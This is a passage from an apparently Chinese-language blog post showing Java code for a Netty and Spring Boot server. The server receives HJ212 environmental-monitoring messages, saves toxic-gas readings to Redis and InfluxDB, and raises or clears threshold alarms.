class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.allbs.hj212.enums.GBT16706;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.hj212.format.T212Generator;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.hj212.format.T212Mapper;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.hj212.model.HjData;  </span><br><span class="line"><span class="keyword">import</span> com.lyc.toxicharmful.service.MessageFactory;  </span><br><span class="line"><span class="keyword">import</span> com.lyc.toxicharmful.utils.MsgHandleUtils;  </span><br><span class="line"><span class="keyword">import</span> io.netty.buffer.ByteBuf;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelFutureListener;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelHandler;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelHandlerContext;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelInboundHandlerAdapter;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.socket.SocketChannel;  </span><br><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;  </span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.util.StringUtils;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.io.StringWriter;  </span><br><span class="line"><span class="keyword">import</span> java.nio.charset.StandardCharsets;  </span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;  </span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;  </span><br><span class="line"><span class="keyword">import</span> java.util.Map;  </span><br><span class="line"><span class="keyword">import</span> java.util.Optional;  </span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ConcurrentHashMap;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 类 NettyServerHandler  </span></span><br><span class="line"><span class="comment"> * * <span class="doctag">@author</span> ChenQi  </span></span><br><span class="line"><span class="comment"> * &amp;#064;date 2024/7/29  </span></span><br><span class="line"><span class="comment"> */</span><span class="meta">@Slf4j</span>  </span><br><span class="line"><span class="meta">@ChannelHandler</span>.Sharable  </span><br><span class="line"><span class="meta">@Component</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NettyServerHandler</span> <span class="keyword">extends</span> <span class="title class_">ChannelInboundHandlerAdapter</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> MessageFactory messageFactory;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, SocketChannel&gt; channelMap = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 连接后回调  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">channelActive</span><span class="params">(ChannelHandlerContext ctx)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        <span class="built_in">super</span>.channelActive(ctx);  </span><br><span class="line">        log.info(<span class="string">&quot;client:&#123;&#125; is connected&quot;</span>, MsgHandleUtils.getIPPortString(ctx));  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 接收到报文回调  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">channelRead</span><span class="params">(ChannelHandlerContext ctx, Object msg)</span> &#123;  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            <span class="comment">// 获取企业mn号与排口code对应编号  </span></span><br><span class="line">            <span class="type">String</span> <span class="variable">msgStr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(msg.toString().getBytes(StandardCharsets.UTF_8), StandardCharsets.UTF_8);  </span><br><span class="line">            log.info(<span class="string">&quot;&#123;&#125;接收到三废排口报文：&#123;&#125;&quot;</span>, LocalDateTime.now().format(DateTimeFormatter.BASIC_ISO_DATE), msgStr);  </span><br><span class="line">            <span class="type">T212Mapper</span> <span class="variable">mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T212Mapper</span>().enableDefaultParserFeatures().enableDefaultVerifyFeatures();  </span><br><span class="line">            <span class="type">HjData</span> <span class="variable">data</span> <span class="operator">=</span> mapper.readData(msgStr);  </span><br><span class="line">            <span class="keyword">if</span> (data == <span class="literal">null</span> || data.getCp() == <span class="literal">null</span> || !StringUtils.hasText(data.getMn())) &#123;  </span><br><span class="line">                log.error(<span class="string">&quot;缺少必要信息或格式不正确&quot;</span>);  </span><br><span class="line">                <span class="keyword">return</span>;  </span><br><span class="line">            &#125;  </span><br><span class="line">            <span class="keyword">if</span> (Optional.of(data).map(HjData::getMn).isPresent()) &#123;  </span><br><span class="line">                channelMap.put(data.getMn(), (SocketChannel) ctx.channel());  </span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">                log.info(<span class="string">&quot;传的报文中mn为空，关闭该通道&quot;</span>);  </span><br><span class="line">                ctx.channel().close();  </span><br><span class="line">            &#125;  </span><br><span class="line">            <span class="keyword">if</span> (GBT16706._91.value().equals(data.getSt())) &#123;  </span><br><span class="line">                log.info(<span class="string">&quot;数据&#123;&#125;&quot;</span>, data);  </span><br><span class="line">                messageFactory.systemAction(data);  </span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">                log.info(<span class="string">&quot;数据储存&#123;&#125;&quot;</span>, data);  </span><br><span class="line">                messageFactory.hj212DataSave(data);  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            log.error(<span class="string">&quot;处理报文发生异常&#123;&#125;&quot;</span>, e.getLocalizedMessage());  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 方法功能: 发送系统报文信息  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> mn mn号  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sengMess</span><span class="params">(String mn, String ms)</span> &#123;  </span><br><span class="line">        <span class="type">SocketChannel</span> <span class="variable">sc</span> <span class="operator">=</span> channelMap.get(mn);  </span><br><span class="line">        <span class="type">StringWriter</span> <span class="variable">writer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringWriter</span>();  </span><br><span class="line">        <span class="keyword">try</span> (<span class="type">T212Generator</span> <span class="variable">generator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T212Generator</span>(writer)) &#123;  </span><br><span class="line">            generator.writeHeader();  </span><br><span class="line">            generator.writeDataAndLenAndCrc(ms.toCharArray());  </span><br><span class="line">            generator.writeFooter();  </span><br><span class="line">            <span class="comment">// 查询redis中是否有需要发送的数据  </span></span><br><span class="line">            <span class="type">ByteBuf</span> <span class="variable">encoded</span> <span class="operator">=</span> sc.alloc().buffer(writer.toString().length());  </span><br><span class="line">            encoded.writeBytes(writer.toString().getBytes(<span class="string">&quot;GBK&quot;</span>));  </span><br><span class="line">            sc.writeAndFlush(encoded).addListener((ChannelFutureListener) future -&gt; log.info(<span class="string">&quot;回复:&#123;&#125;&quot;</span>, writer));  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            log.error(<span class="string">&quot;数据发送失败&quot;</span>);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 数据处理完成回调  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ctx  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">channelReadComplete</span><span class="params">(ChannelHandlerContext ctx)</span> &#123;  </span><br><span class="line">        log.info(<span class="string">&quot;channelReadComplete&#123;&#125;&quot;</span>, LocalDateTime.now());  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">exceptionCaught</span><span class="params">(ChannelHandlerContext ctx, Throwable cause)</span> &#123;  </span><br><span class="line">        <span class="comment">//cause.printStackTrace();// 捕捉异常信息  </span></span><br><span class="line">        <span class="comment">// 出现异常时关闭channel  </span></span><br><span class="line">        ctx.close();  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 客户端断开连接回调  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">channelInactive</span><span class="params">(ChannelHandlerContext ctx)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        <span class="comment">// channel失效处理,客户端下线或者强制退出等任何情况都触发这个方法  </span></span><br><span class="line">        log.info(<span class="string">&quot;&#123;&#125; 断开连接&quot;</span>, MsgHandleUtils.getIPPortString(ctx));  </span><br><span class="line">        ctx.channel().close();  </span><br><span class="line">        <span class="built_in">super</span>.channelInactive(ctx);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="当然必不可少的项目启动时启动netty服务">当然必不可少的项目启动时启动netty服务</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@EnableAsync</span>  </span><br><span class="line"><span class="meta">@EnableAllbsInflux</span>  </span><br><span class="line"><span class="meta">@SpringBootApplication</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PcToxicAndHarmfulApplication</span> <span class="keyword">implements</span> <span class="title class_">CommandLineRunner</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Resource</span>  </span><br><span class="line">    <span class="keyword">private</span> NettyServer nettyServer;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;  </span><br><span class="line">        SpringApplication.run(PcToxicAndHarmfulApplication.class, args);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">(String... args)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        nettyServer.start();  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="业务逻辑">业务逻辑</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.allbs.hj212.model.CpData;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.hj212.model.HjData;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.hj212.model.Pollution;  </span><br><span class="line"><span class="keyword">import</span> cn.allbs.influx.InfluxTemplate;  </span><br><span class="line"><span class="keyword">import</span> com.lyc.toxicharmful.config.enums.GasType;  </span><br><span class="line"><span class="keyword">import</span> com.lyc.toxicharmful.dto.AlarmFieldDTO;  </span><br><span class="line"><span class="keyword">import</span> com.lyc.toxicharmful.utils.DateUtil;  </span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.core.RedisTemplate;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Service;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javax.annotation.Resource;  </span><br><span class="line"><span class="keyword">import</span> java.math.BigDecimal;  </span><br><span class="line"><span class="keyword">import</span> java.text.SimpleDateFormat;  </span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;  </span><br><span class="line"><span class="keyword">import</span> java.time.ZoneOffset;  </span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;  </span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;  </span><br><span class="line"><span class="keyword">import</span> java.util.List;  </span><br><span class="line"><span class="keyword">import</span> java.util.Map;  </span><br><span class="line"><span class="keyword">import</span> java.util.Optional;  </span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.TimeUnit;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> com.lyc.toxicharmful.config.constant.CacheConstant.TOXIC_AND_HARMFUL_DATA;  </span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> com.lyc.toxicharmful.config.constant.CacheConstant.TOXIC_AND_HARMFUL_DATA_ALARM;  </span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> com.lyc.toxicharmful.config.constant.CommonConstant.*;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 类 MessageFactoryImpl  </span></span><br><span class="line"><span class="comment"> * * <span class="doctag">@author</span> ChenQi  </span></span><br><span class="line"><span class="comment"> * &amp;#064;date 2024/7/29  </span></span><br><span class="line"><span class="comment"> */</span><span class="meta">@Slf4j</span>  </span><br><span class="line"><span class="meta">@Service</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MessageFactoryImpl</span> <span class="keyword">implements</span> <span class="title class_">MessageFactory</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Resource</span>  </span><br><span class="line">    <span class="keyword">private</span> RedisTemplate&lt;String, Object&gt; redisTemplate;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Resource</span>  </span><br><span class="line">    <span class="keyword">private</span> InfluxTemplate influxTemplate;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">hj212DataSave</span><span class="params">(HjData hjData)</span> &#123;  </span><br><span class="line">        log.info(<span class="string">&quot;接收到的212数据&#123;&#125;&quot;</span>, hjData);  </span><br><span class="line">        <span class="comment">// 储存influxdb  </span></span><br><span class="line">        Map&lt;String, String&gt; tags = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        Map&lt;String, Object&gt; fields = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        tags.put(<span class="string">&quot;mn&quot;</span>, Optional.ofNullable(hjData).map(HjData::getMn).orElse(<span class="string">&quot;&quot;</span>));  </span><br><span class="line">        tags.put(<span class="string">&quot;qnTime&quot;</span>, Optional.ofNullable(hjData).map(a -&gt; DateUtil.timeFormatWithMs(a.getQn())).orElse(<span class="string">&quot;&quot;</span>));  </span><br><span class="line">        tags.put(<span class="string">&quot;dataTime&quot;</span>, Optional.ofNullable(hjData).map(HjData::getCp).map(CpData::getDataTime).map(DateUtil::timeFormat).orElse(<span class="string">&quot;&quot;</span>));  </span><br><span class="line">        redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA + Optional.ofNullable(hjData).map(HjData::getMn).orElse(<span class="string">&quot;&quot;</span>), <span class="string">&quot;time&quot;</span>, LocalDateTime.now().format(DateTimeFormatter.ofPattern(NORM_DATETIME_PATTERN)));  </span><br><span class="line">        <span class="keyword">if</span> (Optional.ofNullable(hjData).map(HjData::getCp).map(CpData::getPollution).isPresent()) &#123;  </span><br><span class="line">            redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA + hjData.getMn(), <span class="string">&quot;time&quot;</span>, LocalDateTime.now().format(DateTimeFormatter.ofPattern(NORM_DATETIME_PATTERN)));  </span><br><span class="line">            hjData.getCp().getPollution().forEach((key, value) -&gt; &#123;  </span><br><span class="line">                Optional&lt;BigDecimal&gt; rtd = Optional.ofNullable(value.getRtd());  </span><br><span class="line">                Optional&lt;BigDecimal&gt; avg = Optional.ofNullable(value.getAvg());  </span><br><span class="line">                <span class="keyword">if</span> (rtd.isPresent() || avg.isPresent()) &#123;  </span><br><span class="line">                    <span class="type">BigDecimal</span> <span class="variable">valueToCheck</span> <span class="operator">=</span> rtd.orElseGet(avg::get);  </span><br><span class="line">                    fields.put(key, valueToCheck);  </span><br><span class="line">                    <span class="comment">// redis储存实时数据  </span></span><br><span class="line">                    <span class="keyword">try</span> &#123;  </span><br><span class="line">                        redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA + hjData.getMn(), key, valueToCheck);  </span><br><span class="line">                    &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">                        log.error(<span class="string">&quot;保存212实时数据失败,数据&#123;&#125;,原因&#123;&#125;&quot;</span>, hjData, e.getLocalizedMessage());  </span><br><span class="line">                    &#125;  </span><br><span class="line">                    checkAndHandleAlarm(key, valueToCheck);  </span><br><span class="line">                &#125;  </span><br><span class="line">                fields.put(key + <span class="string">&quot;_flag&quot;</span>, Optional.of(value).map(Pollution::getFlag).orElse(<span class="literal">null</span>));  </span><br><span class="line">                fields.put(key + <span class="string">&quot;_SampleTime&quot;</span>, Optional.of(value).map(Pollution::getSampleTime).orElse(<span class="literal">null</span>));  </span><br><span class="line">            &#125;);  </span><br><span class="line">        &#125;  </span><br><span class="line">        influxTemplate.insert(DB_TOXIC_AND_HARMFUL_DATA, tags, fields);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 检查是否报警  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key   key  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> value value  </span></span><br><span class="line"><span class="comment">     */</span>    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">checkAndHandleAlarm</span><span class="params">(String key, BigDecimal value)</span> &#123;  </span><br><span class="line">        <span class="keyword">for</span> (GasType factor : GasType.values()) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (key.equals(factor.getCode())) &#123;  </span><br><span class="line">                <span class="keyword">if</span> (value.compareTo(BigDecimal.valueOf(factor.getLevelTwoThreshold())) &gt;= <span class="number">0</span>) &#123;  </span><br><span class="line">                    log.warn(<span class="string">&quot;报警: &#123;&#125; 超过二级阈值 &#123;&#125;&quot;</span>, key, factor.getLevelTwoThreshold());  </span><br><span class="line">                    sendAlarmAsync(key, value, <span class="number">2</span>, factor);  </span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (value.compareTo(BigDecimal.valueOf(factor.getLevelOneThreshold())) &gt;= <span class="number">0</span>) &#123;  </span><br><span class="line">                    log.warn(<span class="string">&quot;报警: &#123;&#125; 超过一级阈值 &#123;&#125;&quot;</span>, key, factor.getLevelOneThreshold());  </span><br><span class="line">                    sendAlarmAsync(key, value, <span class="number">1</span>, factor);  </span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">                    log.info(<span class="string">&quot;正常: &#123;&#125; 未超过阈值&quot;</span>, key);  </span><br><span class="line">                    <span class="comment">// 消警  </span></span><br><span class="line">                    clearAlarmAsync(key, factor.getName());  </span><br><span class="line">                &#125;  </span><br><span class="line">                <span class="keyword">break</span>;  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 发送报警数据  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key    因子编码  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> value  监测值  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> level  等级 1级 2级  </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> factor 枚举  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendAlarmAsync</span><span class="params">(String key, BigDecimal value, Integer level, GasType factor)</span> &#123;  </span><br><span class="line">        <span class="type">String</span> <span class="variable">time</span> <span class="operator">=</span> LocalDateTime.now().format(DateTimeFormatter.ofPattern(NORM_DATETIME_PATTERN));  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            <span class="keyword">if</span> (Boolean.FALSE.equals(redisTemplate.hasKey(TOXIC_AND_HARMFUL_DATA_ALARM + key))) &#123;  </span><br><span class="line">                redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA_ALARM + key, <span class="string">&quot;startTime&quot;</span>, time);  </span><br><span class="line">                redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA_ALARM + key, <span class="string">&quot;name&quot;</span>, factor.getName());  </span><br><span class="line">                redisTemplate.opsForHash().put(TOXIC_AND_HARMFUL_DATA_ALARM + key, <span class="string">&quot;unit&quot;</span>, factor.getUnit());  </span><br><span class="line">                <span class="comment">// 不存在则新增influxdb数据  </span></span><br><span class="line">                <span class="comment">// InfluxDB报警数据  </span></span><br><span class="line">                Map&lt;String, String&gt; tags = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">                Map&lt;String, Object&gt; fields = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">                tags.put(<span class="string">&quot;code&quot;</span>, key);  </span><br><span class="line">                tags.put(<span class="string">&quot;name&quot;</span>, factor.getName());  </span><br><span class="line">                fields.put(<span class="string">&quot;value&quot;</span>, value);  </span><br><span class="line">                fields.put(<span class="string">&quot;alarmTime&quot;</span>, time);  </span><br><span class="line">                fields.put(<span class="string">&quot;unit&quot;</span>, factor.getUnit());  </span><br><span class="line">                fields.put(<span class="string">&quot;level&quot;</span>, level);  </span><br><span class="line">                <span class="comment">// 额外添加type, 0为报警 1为消警  </span></span><br><span class="line">                fields.put(<span class="string">&quot;type&quot;</span>, <span class="number">0</span>);  </span><br><span class="line">                fields.put(<span class="string">&quot;threshold&quot;</span>, factor.getLevelOneThreshold() * level);  </span><br><span class="line">                fields.put(<span class="string">&quot;content&quot;</span>, String.format(<span class="string">&quot;监测点位%s编号%s于%s发生%s级报警,报警值%s%s,报警阈值%s%s&quot;</span>, factor.getName(), key, time, level, value, factor.getUnit(), factor.getLevelOneThreshold() * level, factor.getUnit()));  </span><br><span class="line">                influxTemplate.insert(DB_TOXIC_AND_HARMFUL_ALARM, tags, fields);  </span><br><span class="line">            &#125;  </span><br><span class="line">            <span class="comment">// Redis报警数据  </span></span><br><span class="line">            